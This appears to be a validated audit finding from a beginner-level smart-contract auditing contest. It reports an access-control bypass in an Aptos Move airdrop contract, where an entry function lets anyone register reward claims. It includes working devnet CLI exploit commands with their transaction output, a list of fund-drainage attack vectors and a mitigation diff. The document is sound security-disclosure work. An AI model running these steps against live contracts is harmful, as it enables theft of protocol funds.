Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Authorization Bypass Allows Unlimited Reward Registration

Description

The get_random_slice function is declared as entry fun, allowing anyone to call it directly via CLI and completely bypass the owner-controlled registration mechanism in register_pizza_lover. This enables attackers to register unlimited addresses and drain the protocol funds.

Root Cause

The function get_random_slice is declared as entry fun instead of private fun, making it callable as a transaction entry point. Additionally, despite its name suggesting "get", it actually modifies state by setting reward amounts in the table which is also a questionable issue as get function should be read only and not set state.

#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
table::add(&mut state.users_claimed_amount, user_addr, random_amount); // Sets value!
}
public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER); // Bypassed!
get_random_slice(user);
}

Key issues:

  1. entry fun allows direct CLI calls bypassing access control

  2. Function name misleads - "get" but actually "sets" table values

  3. No authorization check within get_random_slice itself

  4. Enables unlimited registration by any attacker

Risk

Likelihood: High - Trivially exploitable via standard CLI commands

Impact: High - Complete protocol fund drainage through unlimited registrations

Impact

High severity because:

  • Completely bypasses intended owner-only registration control

  • Allows unlimited address registration draining all protocol funds

  • Enables mass Sybil attacks with minimal cost per registration

  • Function name deception hides the state-modifying behavior

Proof of Concept

Live demonstration on Aptos Devnet using a terminal CLI and BASH

# Step 1: Owner deploys contract (using devnet profile)
aptos move publish --profile devnet --named-addresses pizza_drop=devnet
# Contract deployed at: ff2f7d5a3a18e5be1124d99bb1790a672ed120613335af6495f7484f3ddc553f
# Step 2: Create attacker profile (completely different account)
aptos init --profile attacker --network devnet
# Generated attacker address: 1b0d0cf508e48ebff8d0e7320c277b9627d06cfacb87c599d76ad344fce1360b
aptos account fund-with-faucet --profile attacker
# Step 3: Attacker bypasses owner control - registers arbitrary address
aptos move run \
--function-id ff2f7d5a3a18e5be1124d99bb1790a672ed120613335af6495f7484f3ddc553f::airdrop::get_random_slice \
--args address:0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef \
--profile attacker
# SUCCESS: Transaction hash 0xcc699a837b5a7223414ecab744591c8a6954ffa285942fa19be5f991dfc28135
# Step 4: Attacker registers their own address too
aptos move run \
--function-id ff2f7d5a3a18e5be1124d99bb1790a672ed120613335af6495f7484f3ddc553f::airdrop::get_random_slice \
--args address:0x1b0d0cf508e48ebff8d0e7320c277b9627d06cfacb87c599d76ad344fce1360b \
--profile attacker
# SUCCESS: Transaction hash 0x158e7537fc9f75ac12900de89b965448fc032a173fe9732892d8d96ff36924b9
# RESULT: Two unauthorized registrations successful - authorization completely bypassed!
# Based on successful transactions above:
# - Each registration costs ~435-928 gas (minimal cost to attacker)
# - Each creates 100-500 APT reward claim (high value extraction)
# - 100 registrations = 10,000-50,000 APT total protocol exposure

Attack Vectors:

  1. Direct CLI Bypass - Call get_random_slice directly

  2. Mass Registration - Script hundreds of address registrations

  3. Sybil Attack - Create multiple accounts, register each

  4. Fund Drainage - Claim rewards from all registered addresses

Recommended Mitigation

Remove entry visibility from get_random_slice to prevent direct calls:

- #[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
+ fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Additional security improvements:

  1. Rename function to assign_random_slice to reflect state modification

  2. Add owner check within the function as defense in depth

This ensures only the owner-controlled register_pizza_lover can assign rewards, properly enforcing the intended access control mechanism.

Updates

Appeal created

bube Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `get_random_slice` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.